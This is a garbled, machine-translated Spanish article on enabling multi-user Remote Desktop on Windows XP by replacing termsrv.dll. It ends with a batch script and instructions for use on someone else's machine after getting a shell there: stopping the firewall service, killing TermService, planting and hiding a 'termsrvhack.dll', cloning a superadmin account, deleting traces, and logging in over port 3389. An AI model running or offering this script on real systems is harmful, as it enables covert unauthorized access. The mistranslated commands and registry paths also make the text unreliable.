XP método multiusuario de jugar una computadora

  
        

El primer paso: en primer lugar, instale la versión oficial del SP2 en Windows XP e instálela de la forma habitual, de modo que no entraré en detalles aquí.

Paso 2: Prepare una versión anterior del software del servidor de terminal SP2 (se dice que esta función está prohibida desde la compilación 2082, por lo que es mejor usar la versión anterior), la versión de prueba del SP2 chino es más difícil de encontrar, Utilicé la versión en inglés del Build 2055 y no encontré ningún problema después de ejecutar. Puede hacerlo desde http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act "target =" _blank "> http: //www.msfn.org/board/index.PHP? S = 8 ... c99733154ae685f &act

= Attach &type = post &id = 161513Descargue el archivo ejecutable de Terminal Server TermSrv.DLL del Build 2055. La descarga de este enlace es una extensión de .DL_ Archivo, puede cambiar su extensión a un archivo ZIP y luego usar WinRAR para desbloquearlo.

Paso 3: A continuación, inicie Windows XP en modo seguro; si hay varios sistemas operativos, puede comenzar Otro sistema que puede acceder a la partición del sistema de Windows XP (a menos que se instalen herramientas de terceros, Windows 98 no puede acceder a la partición NTFS, por lo que Windows 98 puede ser inútil). Luego, haga una copia de seguridad de todos los TermSrv.DLLs de la versión oficial del SP2 de Windows XP. En la ubicación donde aparecen todos los archivos TermSrv.DLL, se sobrescribe con la versión Build 2055 de TermSrv.DLL. Normalmente, TermSrv.DLL aparece en al menos dos ubicaciones: \\ Windows \\ system32, \\ Windows \\ system32 \\ dllcache. Donde haya un TermSrv.DLL, use B La versión uild 2055 de TermSrv.DLL está cubierta. Este artículo se publicó en http://bianceng.cn (computadora de aprendizaje)

Paso 4: inicie Windows XP en modo normal, si la función de protección de archivos del sistema solicita TermSrv. El archivo DLL se ha modificado y se le preguntó si desea restaurarlo. Elija No.

Paso 5: Finalmente, modifique el registro para aumentar la licencia multiusuario para el servidor de terminal. Es engorroso y propenso a errores al modificar el registro. Puede modificar el registro con el siguiente comando por lotes:

@echo off

setlocal

set regkey = "HKLM \\ SYSTEM \\ CurrentControlSet \\ Control \\ Terminal Server \\ Licensing Núcleo "

reg agregar% regkey% /v EnableConcurrentSessions /T REG_DWord /D 1 /f

endlocal

Guarde lo anterior como un archivo de comando por lotes, como AA. BAT, doble click para ejecutarlo.

No recomiendo esta práctica, es demasiado molesto para bloquearla y debo dejar que el sistema se reinicie. Podemos escribir un archivo por lotes para habilitar el inicio de sesión multiusuario de XP sin reiniciar. Primero, entendamos un parámetro de comando para la operación de registro:

REG ADD KeyName [/v ValueName /ve] [ ,null,null,3],/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\\\ Machine \\] FullKey

Machine Remote Machine Name: ignorar el valor predeterminado de la máquina actual. En la máquina remota

solo HKLM y HKU.

FullKey ROOTKEY \\ SubKey

ROOTKEY [HKLM HKCU HKCR HKU HKCC]

SubKey El nombre completo de la clave de registro debajo del ROOTKEY seleccionado.

/v El nombre del valor que se agregará en la opción.

/ve Agregue un nombre de valor en blanco (predeterminado) para la clave de registro.

/t RegKey Data Type

[REG_SZ REG_MULTI_SZ REG_EXPAND_SZ

REG_DWord REG_BINARY REG_NONE]

Si se omite, se usa REG_SZ.

/s Especifica un carácter que se utilizará como separador en la cadena de datos REG_MULTI_SZ

Si se omite, "\\ 0" se utiliza como separador.

/d Los datos que se asignarán al registro ValueName agregado.

/f Sobrescribe por la fuerza las entradas de registro existentes sin preguntar.

Ejemplo:

REG ADD \\\\ ABC \\ HKLM \\ Software \\ MyCo

Agregar una clave de registro en la máquina remota ABC HKLM \\ Software \\ MyCo

REG ADD HKLM \\ Software \\ MyCo /v Data /t REG_BINARY /d fe340ead

Agregue un valor (Nombre: Datos, Tipo: REG_BINARY, Datos: fe340ead)

REG ADD HKLM \\ Software \\ MyCo /v MRU /t REG_MULTI_SZ /d fax \\ 0mail

Agregue un valor (nombre: MRU, escriba: REG_MUTLI_SZ, datos: fax \\ 0mail \\ 0 \\ 0)

REG ADD HKLM \\ Software \\ MyCo /v Path /t REG_EXPAND_SZ /d ^% systemroot ^%

Agregue un valor (nombre: Ruta, escriba: REG_EXPAND_SZ, data:% systemroot%)

Nota: Usando el símbolo de intercalación (^) en la cadena de extensión
Para evitar que el sistema se reinicie, podemos usar el comando shutdown -a.

De acuerdo con la información que se encuentra arriba, podemos escribir un proceso por lotes para lograr el inicio de sesión multiusuario del sistema XP sin reiniciar el sistema.

El código es el siguiente:

@echo off

@net stop sharedAccess

@ntsd -cq -p "pid"

@ Reg agregar HKLM \\ SOFTWARE \\ Microsoft \\ Windows "" NT \\ CurrentVersion \\ Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f

@reg agregar HKLM \\ SYSTEM \\ CurrentControlSet \\ Control \\ Terminal "" Server /v fDenyTSConnections /t REG_DWord /d 00000000 /f

@reg add HKLM \\ SYSTEM \\ CurrentControlSet \\ control \\ terminal "Licencias" "Core /v EnableConcurrentSessions /t REG_DWord /d 00000001 /f

@reg agrega HKLM \\ SYSTEM \\ CurrentControlSet \\ Services \\ TermService \\ Parameters /v serviceDll /t REG_EXPAND_SZ /d% SystemRoot% \\ system32 \\ termsrvhack.dll /f

@copy c: \\ termsrvhack.dll c : \\ Windows \\ system32 \\ dllcache \\ termsrvhack.dll

@attrib + h + s + rc: \\ Windows \\ system32 \\ dllcache \\ termsrvhack.dll

@copy c: \\ termsrvhack.dll c: \\ Windows \\ system32 \\ termsrvhack.dll

@attrib + h + s + rc: \\ Windows \\ system32 \\ termsrvhack.dll

@shutdown -a

@ Del c: \\ termsrvhack.dll

@net start Termservice

@del c: \\ 3389.bat

donde "pid" es el número PID que se reemplazará con el servicio TermService, que se puede obtener con el comando tasklist /svc. Por supuesto, win2000 y los siguientes sistemas no tienen un comando de lista de tareas.

El método de operación específico es: primero obtenga un SHELL de la otra parte, luego use el software de terceros para abrir el servicio de terminal bajo el shell, no cambie primero el puerto 3389 predeterminado; de lo contrario, debe reiniciar antes de iniciar sesión, cree otro. O clonar un usuario superadministrador.

A continuación, descargue el termsrvhack.dll descargado y el lote anterior en el directorio raíz de la otra unidad C, y luego ejecute el lote bajo el shell. ¡Rápido éxito!

Finalmente, abra el módulo de aterrizaje, 3389 inicio de sesión de terminal!


Copyright © Conocimiento de Windows All Rights Reserved